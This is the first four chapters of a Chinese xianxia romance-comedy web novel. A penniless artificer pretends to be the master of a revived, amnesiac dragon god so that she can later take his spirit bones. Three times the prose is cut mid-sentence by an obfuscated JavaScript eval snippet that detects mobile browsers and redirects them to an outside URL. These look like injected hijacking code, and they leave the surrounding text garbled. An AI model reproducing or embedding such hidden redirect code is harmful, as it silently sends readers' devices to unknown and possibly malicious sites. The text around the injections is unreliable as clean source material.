《爱徒今天怎么还没死》 1. 第 1 章 妖界新历五万年。 第五任龙神死于无妄劫。 *** 妖界,西陆,云林城。 清早的集市上人声鼎沸,行人来来往往。人群中传来一道吆喝声:“来一来,看一看,最新上市的法器有没有需要的。这里都是云林城第一炼器大师白骊珠最新出炉的新品,物美价廉,包君满意,全部五折出售,全部五折出售——” 少女名为白骊珠,她容貌清丽,生着一张鹅蛋脸,明眸皓齿,黛眉如画,露齿微笑时,从两颊现出两个浅浅梨涡,一袭白色衣裙,守着一个小小摊点,在人满为患的街道里也很是扎眼。 她的吆喝声吸引了不少看客的品头论足。 一名老者道:“白姑娘,我看你这风雷翅不是新品吧。我记得我去年路过你这摊,它就在这儿了吧,这怎么一年还没有卖出去?还有这几件,都看着有些眼熟,都卖了好久了吧……” 白骊珠心道:这位老人家你是专门来拆台的吗? 当然了,作为一名勉强维持生活的炼器师,她是没资格怼客户的,她脸上勉强挤出一丝微笑:“客人您可能看错了哦,您太久没来了哦,之前的都已经卖掉了。这几件是重新上新的同款哦……” 老人家摇摇头走了…… 一位大娘摆弄着地上的听风铃,道:“白姑娘,你这听风铃成色看着比别家要差一些。我看西城那家店卖的听风铃能听到百里外的动静,你这个最多只能听到五十里。比别人家可差远了……” 白骊珠脸上的笑容差点挂不住了:“大娘,虽然功效差一些,但是小店物美价廉,价格只有西城店铺的三分之一哦,打完折只有六分之一,我觉得考虑性价比的话还是很划算的,客人要不要考虑一下?” 客人摇摇头又走了。 一直到中午收摊时,白骊珠仍然一件灵器也没有卖出去。她回到自己的小屋,看着兜里仅剩的五十个水晶币,重重叹了一口气。 如果这个月仍然卖不出任何一件灵器,到下个月她估计就得露宿街头了,更不要说收集齐材料,炼制出传说中的溯回镜了。 门外响起急促的敲门声,白骊珠拉开门,非不非像一阵风一样卷了进来,拉着白骊珠就往外跑。 “非老,什么事?” “骊珠,快跟我走,妖界出了大事,晚了怕就来不及了——” “什么大事?” 必定是非一般的大事—— 白骊珠这时已经看到,云林城街道上出现了无数大妖,人人争先恐后,往码头那边而去。 白骊珠和非不非被人潮簇拥着、拥挤着,到了码头边上,非不非才终于喘了口气。 非老本名非不非,是白眉白须,穿着一身青袄。白骊珠是一位炼器师,非不非则是白骊珠的鉴骨师。所谓鉴骨师,顾名思义,就是帮助炼器师寻找灵骨的仆从和助手。 炼器师要炼制法器,需要打量的灵骨作为材料。灵骨的来源主要有两处,一是在专门的商店购买,二就是自己去找无主的妖族尸体碰运气了。 但是作为炼器师中的穷鬼,白骊珠可买不起商店那些价格昂贵的材料,大部分时候她只能在路边“捡尸”,找一些便宜的材料勉强维持生活的样子,这个时候就需要鉴骨师了。 鉴骨师们准确地从死人骨头中分辨那个部分灵气最为浓郁的部分,作为炼器的材料。一般来说,每个炼器师都有一个鉴骨师作为仆从,非不非就是白骊珠的鉴骨师。 白骊珠等他缓了一口气,终于按捺不住,再次问道:“到底是什么大事?” 非不非兴奋道:“你听说了吗?妖界的龙神大人在前几天应劫而死了,这些人去码头,都是想要赶去青崖,想要夺得传说中的龙神遗骨。” 白骊珠:“龙神遗骨?” 非不非:“骊珠怕是没有听到有关龙神的传说吧。龙神死后的遗骨可是妖界最重要的宝藏。” 白骊珠疑惑道:“龙神遗骨,不就是龙神死后的遗骸吗?和宝藏有什么关系?” 旁边一位青鱼妖听到两者的对谈,拿出一枚水晶币,道:“姑娘亏你还是咱们水族,连这也不知道,你认识这种水晶币吧。” 白骊珠对青鱼妖投以鄙视的目光,“当然认识,这是妖界五族通用货币。” “水晶币是用水晶造成,水晶龙的每一片鳞片都是最为纯净的水晶。而龙神大人的龙躯足足数十丈那么长,身上的鳞片何以千万……” 青鱼妖露出神往的表情:“三千年前,我曾有幸见过龙神大人真身,硕大的水晶龙鳞如同一座座小山鳞次栉比,那场面,那场面真真无以言表……咳,我当时就想,我要是能得到一片龙鳞,这辈子也就值了……” 白骊珠咋舌。 有什么比拥有一座铸币厂更幸福? 那就是本人就是铸币厂本厂!随便拔掉一片鳞片都可以当钱花,这简直就是白骊珠梦寐以求的日子好么? 她迅速得出结论:“我懂了。谁要是得到了龙神大人的身体,立刻一夜暴富!” 她摸了摸自己的口袋,最近行情不好,她的口袋里只剩下最后五十个水晶币。她觉得自己非常需要这个一夜暴富的机会。 活着的龙神大人她是摸不着的,但是死了的龙神大人还是可以想一想的。 非不非捋了捋胡须,轻咳一声,小声道:“骊珠,可不止是如此,你不是一直想炼成传说中的溯洄镜吗?龙神之心就是炼成溯回镜最重要的材料。你要实现梦想,机会可仅此一次,今天下午这里有一趟灵风船从西陆往北陆青崖的白石滩,咱们可要抓紧这个机会。” 白骊珠连连点头:“了解,明白。” 众人说话之间,远处,一艘灵风船远远驶到岸边。船上已经挤了不少人,白骊珠排在第一个,她上前招呼:“主人家,坐船。” 船主伸出五个指头。 白骊珠:“五个水晶币?” 船主道问:“五十。” 白骊珠差点跳了起来:“什么?五十,你怎么不去抢?这从西陆往北陆的灵风渡船我从前坐过,一向只要五个水晶币。”虽说因为龙神之死,这条航路是现在的大热门,但五十水晶币还是太多了。 船主冷冰冰道:“从前是从前,现在是现在。最近因为龙族大君溯夜身亡,往青崖去的大妖人数大增,五十水晶币一位,你们不去有的是人去,嫌贵的话往后稍稍……” 白骊珠恨恨道:“奸商,无耻——” 她早上摆摊啥也没卖出去,兜里一共就剩下五十个水晶币了。换言之,她和非不非只能选择一个人去。 身后排队的人群有些不耐烦了,嚷嚷道:“没钱就别坐船了,让一让,让一让啊,你们不坐也不别挡着别人的路啊……” “就是,咱们还等着发财呢,没钱就别出来丢人现眼……” 船主人也有些不耐烦了:“两位,你们到底坐不坐,不坐就下去,别耽误我做生意。” 非不非对船主赔笑道:“船家,烦请给我们留一个位置。我们很快就回来啊。” 他拉着白骊珠到了一处僻静的地方,“骊珠啊,这次北陆之行,你一个人去吧?” “我一个人去?那我怎么找到龙神遗骨?”炼器师和鉴骨师各有专长,而听说龙神的身体全是巨大的水晶构成,换言之,若是没有非不非,即使龙神之心就在她眼前,她也未必认得。 “别急啊。”非不非眼珠转了一下,拿出一个放大镜模样的器具出来,道:“骊珠姑娘,事到如今我也只能告诉你我最大的秘密了。” “秘密?” “我身上最大的秘密就是这个了。”非不非叹了一口气:“其实我根本不会鉴别妖骨,这些年招摇撞骗全凭这面照骨镜。这是我师门留下的法宝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829622|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,用它去照大妖的身体,就能鉴别出妖骨的位置。” 白骊珠瞪大眼睛:“还有这等好事?”按说有这种法宝,非不非早就成为妖界首富了啊,怎么会流落到和她一样的境地。 非不非苦笑道:“可惜这东西用起来有很大的毛病。第一呢,只有鉴别出天级和神级灵骨。遇到天级灵骨,照骨镜会发出银光,如果是神级灵骨,就会发出金光。” 白骊珠叹了一口气。炼器师行当将灵骨按照稀有程度分为凡级、灵级、地级、天级、神级五个等级。天级以上,都是稀世奇珍。 天级和神级的灵骨一般都是资质卓著的大妖才会有,这样的人一般来说都是一方大能,平日里难得一见,就算是死了也埋葬在高级的陵墓里面,等闲难得一见,又岂是非不非这样的小妖能接触到。 白骊珠问道:“那第二个毛病呢?” 非不非道:“第二个毛病就是,使用时不能有任何的遮挡。”他有些难以启齿,眼神暧昧含糊其词道:“你懂我的意思吧。” 白骊珠看着非不非欲言又止、止言又欲的脸色,脑子转了半个弯,还是不明所以,诚实道:“不懂。” 非不非龇牙道:“就是说,要脱了衣服才能使用。” 白骊珠:“脱衣服?” 非不非:“就是说,贴着皮肤用的时候效果最好。算了,说这些也没用,按照鸦族的说话,龙君溯夜死后已经化作水晶巨龙,想必也不会穿衣服。”他将照骨镜交到白骊珠的手里,说道:“这面照骨镜我就先交给你了,你到了雪顶天池,用它照照龙君留下的骸骨,就能找到龙神之心了。对了,我对这面照骨镜做了一点小小改造……” 他按了按照骨镜上一个小巧的机关:“我在里面储存了一点我的灵力,你只要激活这个机关,就可以和我说话。若有什么不懂的事,可以问我,虽然只有三次机会,但也应该够用了。” 白骊珠接过照骨镜,感激道:“非老,谢谢你。” “自家人,说什么谢不谢的……你要是能在妖界扬名立万,我非不非也能鸡犬升天。”非不非紧紧握住白骊珠的手,老泪纵横:“骊珠啊,我可是将我身上最有用的东西交给你了,我们这次能不能一次翻身,在炼器师界留下赫赫声名,就在此一举了。” 白骊珠觉得非不非属实有些夸张,她一向很是咸鱼,并没有什么成为天下炼器第一人的梦想。若说有平生有什么矢志不渝的夙愿,也不过是想炼成传说中可以照见一切过去的溯回镜而已。 不过,非不非气氛给得太足了,她觉得自己多多少少应该配合对方的表演。她收下照骨镜,拍了拍胸脯:“非老您放心,这次我要是能得到龙神之心,以后我吃香的,就少不了您老喝辣的。” 白骊珠回到码头,将身上最后的五十个水晶币交给船家,经过三日的航行,终于到了北陆最北的白石滩。 夜幕降临,白骊珠远离人群,打算找一处浅水的沙滩休憩。 白骊珠的本体是白鱼,天性喜水,尤其喜欢水质清澈纯净的水域。她脱了鞋,赤足踩在沙滩上,感受着海水漫过脚踝柔软滑腻的感觉,暗自感叹,龙君居住的地方果然和其他海域不一样,就连海水也格外温柔些。 她化作一尾白鱼,潜入海水中,美美睡了一晚,第二天破晓时重新化作人形回到了岸上。 此时正逢海水退潮之时,白骊珠见雪白色的海浪海水飞速退回大海之中,只在原地留下一地的贝壳和海螺。白骊珠看到一只美丽的贝壳,正要拾起,忽然发现潮水退去的海滩上还有另外一个人。 准确来说,那是一个男人。 他的下半身被埋在沙滩之中,只有上半身裸露在外面。男人脸庞瘦削白皙,下颚尖秀,眉色青黛,苍白的眼角一侧生长着一片金边的银鳞,就像一滴将坠未坠的眼泪。一头银灰色的头发铺散在沙滩上,仿若沁着寒意的霜雪。 2. 第 2 章 男子的身体一动不动,也没有任何的鼻息,像是已经死了一样。 死了也正常,正常的大妖谁会将自己的身体一半埋在沙子里啊。 这男子的眼角有金边银鳞,想来本体和她一样,也是某种鱼族。白骊珠设身处地的想了想,若是自己有朝一日不小心客死他乡,想必是不愿意埋在沙滩上,成为供人免费参观的标本的。相遇即是有缘,她就做点好事,将这具同类的尸体挖出来,让他回归大海好了。 白骊珠说干就干。刚退潮的沙子松软,白骊珠很快就徒手将男子“死去的尸体”挖了出来。 等男子完整的躯体裸露在沙滩上时,白骊珠有些傻了眼。他不仅上半身没穿衣服,下半身也是不着一物。虽然这位仁兄的身材不错,肩宽腰窄,四肢修长。若是穿上衣服,好好装扮一番,也是妖界数得上的美人。 可是,美人不着寸缕,这就尴尬了。 她总不能将这么一个裸体美男抱着扔到海里,这样多有伤风化啊,若是被海里的其他小鱼小虾看到可多不好啊。白骊珠想了想,不如简单点,挖个坑将这位仁兄将人埋了算了。最多她挖个深点的坑,避免他下次又被海潮卷出来,吓到其他人就不好了。 白骊珠暗暗称赞了自己一句,这年头,像我这么有公德心的大妖可不多了。 她很快就挖好了坑,拖着男子的“尸体”往坑里埋,不知是不是手上动作太大,非不非给她的那照骨镜从袖中掉了出来,滚落男子的小腹之上。 白骊珠急忙去捡,这照骨镜可是她浑身上下最值钱的家当了,而且关乎她能不能得到龙神遗骸,一夜暴富,万万不能有失。 她伸手触到照骨镜的那一刻,照骨镜遽然发出银白色的光芒,白骊珠去看时,只见镜面中赫然出现一片七彩虹鳞。 白骊珠一喜。 身为白鱼一族,七彩虹鳞是她最熟悉的灵骨了。此物在《天级材料名录》中排名第十,只有极少数的鱼族能够生出七彩虹鳞。 看不出来,她这位同族运气不错。 哦不,是她运气不错,随便在海边捡尸也能找到天级灵骨。 她摸出一把匕首。根据炼器师一行的规矩,猎妖取骨是被禁止了,但已死的妖骸却是无主之物,先到先得。 这名曝尸野外的男子恰好属于此类情形。 她拿着在男子的腰间比画了一下,有些犹豫。男子身材虽然瘦削,但是体魄结实。肌肉块垒分明,线条流畅,散发着玉石般的光泽。若是被她用匕首这样划拉一下,挖出一个血洞,难免破坏了这具堪称完美的躯体。 算了算了,佳人难得,多欣赏一下再动手好了。 她收回匕首,重新拿起照骨镜。这一照,不得了,这位仁兄俨然一个灵骨宝库,除去小腹的七彩虹鳞之外,双目之处、锁骨之下、胸膛处,竟然都有灵骨与照骨镜互相感应。 尤其照骨镜照在胸膛之处时,竟绽放出金色光芒。 金色光芒! 按照非不非得说法,照骨镜只有遇到神级灵骨才会散发出金光,显然胸前这块灵骨才是最有价值之物。 想不到这次到青崖山顶就能收获神级灵骨,莫非她白骊珠这辈子穷困潦倒,终于时来运转了? 白骊珠也顾不得是不是有伤风化了,她兴奋地骑在男子的腰上,试图照骨镜分辨出这胸膛之下的神级灵骨是什么。就在此时,被她压在身下的男子猛地睁开了眼睛。 溯夜浅蓝色的眸中闪过凌厉的寒芒,如一支利箭,落在白骊珠的身上。 他缓缓开口:“你是谁?” 白骊珠一下子傻眼了。 谁能想到这位身怀神级灵骨的仁兄竟然诈尸了。 这简直是天降噩耗! 按照炼器师一行的规矩,如果是死去的大妖妖骸,她想挖那块灵骨就可以挖那块。可若是对方是个大活人,不好意思,杀妖取骨是万万不行的。若是有朝一日被人知晓,她就会成为妖界的公敌,人人得而诛之。 换言之,她刚才白高兴了一场。不止于此,对方不着寸缕,而现在自己正以一个十分不雅的姿势坐在对方的身上。 放在第三方眼里,自己眼下大概正像一个色欲熏心,连死人的尸体都不放过,试图去做不可描述之事的变态。 还被人家一下子抓了一个正着,这就十分尴尬了。 如果眼前有一个地洞,白骊珠一定会毫不犹豫的钻进去,可惜眼前什么都没有。 她强作镇定,飞快想了一个理由,道:“抱歉啊,你刚才落水了,所以我将你从海里救了出来。我之所以坐在你身上,是因为……是因为你昏迷不醒,我是为了将你肚子里喝进去的海水给按压出来……” 白骊珠暗自吸了一口气,佩服自己还是有几分急智的,这个理由简直天衣无缝好么! 为了证明自己说的是真的,白骊珠双手按上男子的胸膛,使劲按压起来。 “咳咳咳……”男子的身体自然是按不出海水的,反而剧烈咳嗽起来。他脸色胀红,想要推她,却浑身一点力气也抬不起来,只好虚弱道:“你……你先下来……” 白骊珠麻溜地从男子的身上下来。这如此尴尬的场面,她几乎想要当场跑路,才走两步,听到“啪啦”一声,原来是她起身匆忙,那面照骨镜再次掉在了地上。 捡起照骨镜,白骊珠慌乱的心神稍稍镇定了一些。 白骊珠啊白骊珠,你跑什么啊? 你难道忘了这人身上的神级灵骨了吗?这可是无数炼器师梦寐以求的宝物啊? 是,他现在是还活着,所以不能杀他取出灵骨。可是,他身体虚弱,指不定过两天就嗝屁了呢?届时再取灵骨不迟啊! 是,刚才确实挺尴尬的。短短一秒钟丢光了她鱼生三百年的面子!可是在神级灵骨面前,面子算个屁啊!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829623|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她该打听一下对方来历,然后找个理由留在他身边。哦,不,是该忽悠他和自己一起上青崖上雪顶天池,只要等他不小心病亡,他一身灵骨还不是自己的囊中之物? 就在白骊珠心中盘算之时,溯夜看着自己的身体,心中更是震惊且茫然。 他记得他之前应该是在渡雷劫。 身为龙族,他每百年历一小劫,每千年历一大劫,每万年渡一次无妄劫。无妄劫极为凶险,可谓九死一生。 那天是万年一次的无妄劫,他在青崖之顶被天雷劈了整整三天三夜,最后倒落在雪顶天池,想着这次的无妄劫应该是过不了了。 奇怪,按照他的记忆,他应该已经死了,为什么他还活着? 而且,现在这过分虚弱的身体并不是他原来的身体。他感知了一下,这身体原身应该也是某种水族,算是他的子民。妖力虽然还算不错,比他龙神本尊的大乘期圆满差了整整两个位阶。 这也罢了,这具身体,似乎受了重伤,只稍微动一下,便感觉浑身疼痛难忍。更尴尬的是,他身上竟然连片遮羞的衣服都没有。 而他身边的活人只有刚才那位自称救了他的年轻女郎。 不知这女郎是否与原身认识,这会并没有离开的意思。而是背对着他,站在一旁。 他想了想,决定先搞清楚两人的关系,再决定下一步该怎么办。他斟酌问道:“这位……朋友,我们以前是否认识?” 白骊珠听了,心中一喜,他脸两人之前是否认识都不知道,难道说这位仁兄他他他他失去记忆了? 世上竟有如此好事?如果他失忆了,那两人之间的关系,岂不是都由她说了算吗?她正好有足够的理由拐带对方和自己一起上青崖! 这和她要搭台子唱戏、正好有人递梯子都有什么区别? 她按捺住心中的狂喜,装作微微吃惊的语气:“十五夜,你忘了吗?我是你师父啊!” 她看了看天上那一轮满月,想起今日正是十五,顺便给对方捏造了一个名字“十五夜”。 空气出现了片刻的凝滞,过了好一会,才响起一道茫然的声音:“师父?” 白骊珠道:“是啊,你忘了吗?我是白骊珠,你是我的徒弟十五夜,我们正要一起去青崖,结果在路上遇到其他的大妖袭击,你是为了救我而不慎坠入海中,这些事情你都忘了吗?” 她的语气带着几分忧虑和余切,还顺便给徒弟杜撰了一个名字十五夜,又杜撰了两人一起遇险,十五夜为了救自己坠海的事,正好与她刚才编的她从海里将他救起的事情吻合。 溯夜的眼神微阖,他尽力在自己的脑海中搜刮,委实没有找到关于原身的任何记忆,也无法确认眼前的女郎是不是真的如她所言,是原身的师父。 她的语气既有几分关切和亲昵,他既无法证伪,就暂且认为是真的吧,叫了一声:“师父。” 3. 第 3 章 白骊珠得意极了。 没想到第一步的进展就这么顺利。 其实在开口之前,白骊珠是有想过该如何编造两人的关系,比如兄妹、姐弟、情侣等等都在备选之列。最后,她还是觉得假称对方是自己的徒弟最好。 无他,徒弟这东西,是最好白嫖的。 作为一名穷人,白骊珠的人生格言是贵的不如便宜的,便宜的不如白嫖的。能白嫖到的别想让我多花一文钱,当然她现在身无分文,也没钱花。 白嫖界最省钱的关系就是师徒了。 圣人有言:师父有事,弟子服其劳。什么意思,就是师父的事,徒弟都得干。这可是免费的劳动力啊! 所以,在知道对方失忆之后,白骊珠立刻就想出了师徒关系这一层。 本来这样的谎言她自己心中都没底,想不到对方竟然这么轻易就接受了。 溯夜扶着脑袋,道:“我的头有些疼,记不得这些事了。师父,我的衣服想必也在大战中被毁了。我们一起出门,你有没有带着我的随身衣服?” “衣服?”白骊珠心中一滞。她清清白白的女儿家,自然不会随身带着男子的衣服。但她既要带着这半路认来的徒弟上路,自然也不能让对方赤身裸体。 她难为情道:“咳……你我虽有师徒之分,但是男女有别,这出门的行李一向是各带各的,你的行李……行李想必是在坠海之时失落了,要不,你先穿我的衣服,先男扮女装,等到了集市上师父再替你买新的衣服。” 她拿出行李袋,取出一套红色的女装扔了过去。 溯夜看着身前胭脂色的裙装,一下子傻了眼。 他现在的身体瘦削,这女子的裙衫也不是穿不得。 可是堂堂水族大君,龙神本尊竟然沦落到要穿女装招摇过市,可真是晴天霹雳。要是有朝一日,被其他几族大君知晓,一定能嘲笑他七天七夜。 但是,龙神大人转念一想,水族大君女扮男装和水族大君不穿衣服在大街上裸奔两件事,说起来还是后者更有冲击力。反正他现在是借用别人的身体,只要他自己不说,想必没人能认出他来。 两权相害之下,溯夜还是接过那身女裙,套在身上。衣服自然是不太合身的,不仅肩部略窄,裙摆也有些短,但当此之时,也不能计较更多了。 白骊珠听着身后窸窸窣窣的声音停下,料是他已经穿好了衣服。为了保险起见,不被人当成觊觎徒弟美色的登徒子,她还是没有回头,而是问道:“十五夜,好了没?” 溯夜站起身,答道:“好了。” 白骊珠回头,恰听到一声裂帛之声,却见那件红色衣裙腰间裂开一条细缝,露出紧致结实的腰线来。 四目相对,两人都万分尴尬。 白骊珠率先开口,道:“抱歉啊,这件衣服破了,我再给你换一件。”她就要去翻行李,只能见溯夜几乎是从牙缝里挤出来的声音:“不用了——” “不用?” 溯夜盯着白骊珠袅娜的细腰,“女子的腰身本来就比男子瘦一些,再换一件也是同样。” 他捏紧拳头,心中宽慰自己。这一切如噩梦般的经历都只属于那个叫“十五夜”的原身,而不是水族大君溯夜。只要等他找到方法回到自己原本的龙身之上,只将这一切当成梦忘了就是。 白骊珠“哦”了一声,“也对。” 她的衣服尺寸都差不多,已经坏了一件,也没必要霍霍第二件。她这会定神向溯夜看去,觉得这身装扮还挺合适。 无他,她这个半路捡来的徒弟美得实在雌雄难辨。 先前,她先入为主认为他是男子,只是因为她第一眼见他时他没有穿衣服,男子的身形一览无遗。 此刻,他穿着一身红色女裙,长发披散,又因为受伤的缘故,多了几分怯弱,说是女子也绝不会有人怀疑。 只是他此刻目深眉凛,带着几分煞气,显然对自己目下的处境并不满意。 白骊珠想起自己“师父”的人设,这个时候应该安慰一下对方、于是开口说道:“徒儿莫急,我昨日来时,见那便边不远的白石滩,有一处市集。到了市集上,师父再给你买几身新衣服便是。” 溯夜别无他法,催促道:“那我们快走吧。” …… 半个时辰之后,师徒两人来到了位于白石滩的市集。 白石滩,位于青崖之底,因为沙滩上都是稀碎的白色砂石而得名。此处风光秀美,在龙神溯夜隐居青崖之后,这处沙滩成为龙君的私产,传说之中,这里是龙君溯夜最喜欢的地方。 当然,这些都是过去了。如今的白石滩,已经成为妖界最繁华的市镇。 龙神死后,乌鸦一族最先发现了这个好消息。 乌鸦一族天生瓶颈限制,妖能低下,大部分只能修炼至炼骨期,连凝结出妖丹的高手都少有,自然不敢觊觎龙神的灵骨,但是乌鸦一族最具智慧的祖奶奶乌老夫人很快认识到了这是一个巨大的商机。 龙神死后,前来夺宝的大妖们肯定不计其数,但是青崖是一座完全没有开发过的□□。只要在山脚的浅水湾开一家客栈,给大家提供住宿服务,肯定能赚得盆满钵满。 乌鸦一族集全族之力在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829624|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山脚下盖了这座红尘客栈。 第一批到达青崖的人很快也发现了商机。 想要上山,需要喝水吧,需要干粮,需要换洗衣服吧,需要零食水果吧,很快有人在这里摆摊,以超过外面五倍的价格出售食物和水,赚到了第一桶金。 后来的也赶紧跟上,开始卖登山鞋、登山杖,雨伞等物品。 商业规模迅速扩大,还有一些人开始开始卖美貌女妖们需要的美白膏,遮阳露,毕竟青崖地处海边,日头毒辣。 如今十天过去,青崖山脚已经盖起了一家美容院和一家温泉浴场,还有一些商店正在建设之中,景象如火如荼。 白骊珠看着眼前热闹非凡的景象,发自内心的感叹道:“哇塞,我游历妖界这么多人,从来没见过有一个地方能聚集这么多大妖。真没想到,龙神大人这一死,竟然能够带动白石滩的经济欣欣向荣,这是解决了妖界多少就业。我想他老人家泉下有知,一定会含笑九泉的。” “含笑九泉”的老人家溯夜手中的拳头捏起又放下,才勉强忍住将白骊珠掐死的冲动。 两名容颜绝艳的妙龄女子站在大街之上,引来过往行人纷纷驻足的目光。虽知没人认识他,溯夜仍然极不自在。 他指了指路边的一家卖衣服的店铺,道:“师父,我们先去买衣服吧。” 白骊珠:“好。” 掌柜看到两名妙龄女郎进门,喜不自胜。一般而言,男妖们更愿意将水晶币花在修炼用的丹药法宝上,反而是女郎们愿意在衣服首饰上花钱。他上前招呼道:“两位要买什么衣服,本店衣服什么材质款式的都有,质量上乘、价格低廉,两位可以先试后买……” 白骊珠想了一下,十五夜应该是不愿意在这里先试后买的。毕竟进门是女子,出门是男子,是男扮女装还是女扮男装说不清楚。 白骊珠目测了一下十五夜的身材,指着货架上挂着的一件暗水绿春纱锦袍,道:“掌柜的,将这件衣服包起来。” 掌柜的目光一诧:“姑娘是不是看错了,这衣服是男子穿的。” 白骊珠斜觑了十五夜一眼,道:“没错,这衣服是替我家徒弟买的。” 掌柜的恍然大悟:“没想到当师父的亲自出门替成年的徒弟买衣服,这倒是少见,您这位弟子一定是个有福之人,有姑娘您这么好的师父。” 白骊珠笑眯眯地:“谁说不是呢……我和我的徒弟感情可好得很……”她心道,这捡来的徒弟虽然看起来不太聪明的样子,她还是得好好扮演师父的角色,可不能露出破绽,一定要让他死心塌地地相信她是他的师父。 4. 第 4 章 掌柜很快将衣服包好,道:“姑娘,一共三十水晶币。” 白骊珠一摸钱袋,发现空空如也,这才想起一桩大事,她仅剩的五十个水晶币已经花在了来青崖的船票之上,别说三十个水晶币了,她兜里连一个币都掏不出来。 这就十分尴尬了。 她用商量的语气道:“掌柜的,能不能先赊欠?”眼见掌柜变了的脸色,她补充道:“掌柜的别误会,我也不是买东西不给钱。再过几天,不,再过一个月我就会有一大笔的进账,一定会还你钱……” “赊欠?”一听这两人没钱,掌柜的瞬间变了脸色,将衣服夺了过来,指了指门口的方向,哂道:“这年头的大妖是越来越不要脸了,没钱还来买衣服?慢走不送——” “不赊就不赊,有什么了不起。哼,等过几天我有钱了,就将你这破店全买下来。我们走——” 白骊珠也是有些脾气的,拉着十五夜转身就走。 十五夜脸色冷白,龙神大神本体便是水晶龙,随便掰一片鳞片都可以当水晶币使用,平生从来没遇到区区三十水晶币都拿不出来,被店主扫地出门的情况。 白骊珠步子有些快,十五夜脚下一个踉跄,又听得“嘶拉”一声,原来是刚才动作幅度太大,裙子的下摆彻底劈叉,碎成了两块破布,他只能勉强提着裙摆,才护住自己的隐私部位。 十五夜脸色酱红,拳头都快捏烂了。 他从来没想过他随便死了一死,能生出这么多事。 他现在最后悔的事,就是历劫的时候随意摆烂,以至于被区区无妄劫劈死了。 要是真死反倒好了,像这般死了又没完全死,简直能被活活气死。 假如上天再给他一次机会,以他现在的求生欲,一定能平安渡劫。 这具身体本来身体虚弱,再加上受此一激,他竟吐出一口鲜血。 白骊珠一下傻眼了,她完全能理解十五夜现在羞愤欲死的心情。唉,要是这捡来的徒弟一下子气死了倒好,她正好正大光明得到他体内的灵骨。眼下这快死又没完全死的情形,还真的是很难办啊。 舍不得孩子套不着狼,她咬咬牙,摸了摸脖子上的吊坠,将之取了下来。 她十六岁时,白鱼一族便已灭亡。后来,抚养她长大的姑姑也病亡,这个吊坠是姑姑留给她的遗物。 她将十五夜扶到一处屋角坐下,道:“徒儿,你先在这里等我一下。” 白骊珠拿着吊坠走到不远处的一家当铺,当了一百水晶币。她重新回到刚才买衣服的店铺,用三十水晶币买了刚才看上的那件衣服,又花了十个水晶币到不远处的客栈订下了一间客房。 她将十五夜带到客房之中,关切道,“徒儿,方才委屈你了。你现在先将衣服换过来吧。你的身体重伤未愈,师父实在是太不放心,我刚才看到镇上有大夫摆摊,我去将他请来替你瞧病。” 白骊珠转身离开。屋内,十五夜神情古怪。 难道,她真的没有骗他?她真的是他从前这具身体的师父? 她当掉的那块玉坠并非凡品,她握着那块吊坠的神情,可以看出那吊坠对她而言意义非凡。 若非为了自己心爱的徒弟,她又怎么会为了替他买新衣服当掉自己的心爱之物?又专门出门请大夫替他瞧病。 他脱下那身女子衣裙,换上那身银蓝色春水纱锦袍,发现意外地合身,就像是专门为他合身量做的一样。 他心中暗忖,也许是因为原身和这师父感情不错,说不定白骊珠从前经常替自己的徒弟买衣服,才能掌握得如此精准。 他嘴角撇了一下。他不喜欢女人,更不喜欢像白骊珠一般举止浮夸的女人。 但他既然莫名顶替了“十五夜”的身份,便该承他这份因果。那个女人既然是“十五夜”的师父,在他占据“十五夜”身体的这段时间,就当她是自己的师父好了。 当务之急,他该尽早回到雪顶天池,看看自己的龙躯是否完好,再找方法回到原来的身体里。最后再将原身的魂魄还回来,就算对得起他了。 过了一会,门外响起敲门声,“十五夜,你好了吗?” 十五夜打开房门,白骊珠领着一个胡须花白的老者走了进来,介绍道:“大夫,这位便是我的徒弟,他日前与人争斗,受了重伤,还请大夫看上一看。” 十五夜伸出手,由着这位老大夫诊了脉。老大夫捋着胡子,缓缓道:“你这徒弟,伤势有些奇怪。” 白骊珠问道:“哪里奇怪了?” 老大夫道:“根据脉象来看,这位兄弟本身妖骨不强,甚至有某种先天的缺陷。但是短时间内获得的不属于自己的能力,身体本身承受不住,所以身虚体弱……随时可能会死……” 十五夜心中嘀咕,这一路以来,他已经暗中试探过白骊珠的妖能,可说是非常一般,比她这叫“十五夜”的徒弟要低上不少。他本来还奇怪,她这么弱的师父怎么会有一个比自己强的徒弟,听了这老大夫一言,倒是有点思路。 龙神溯夜身为妖界五位尊神之一,妖能何等强大。想必是他的魂魄附身之后,强大的妖能灌入这具躯体,使之无法承受所致。 白骊珠却是心中一喜,问道:“随时可能会死……那他什么时候会死?哦不,我是说大夫可有办法医治他的病情?” 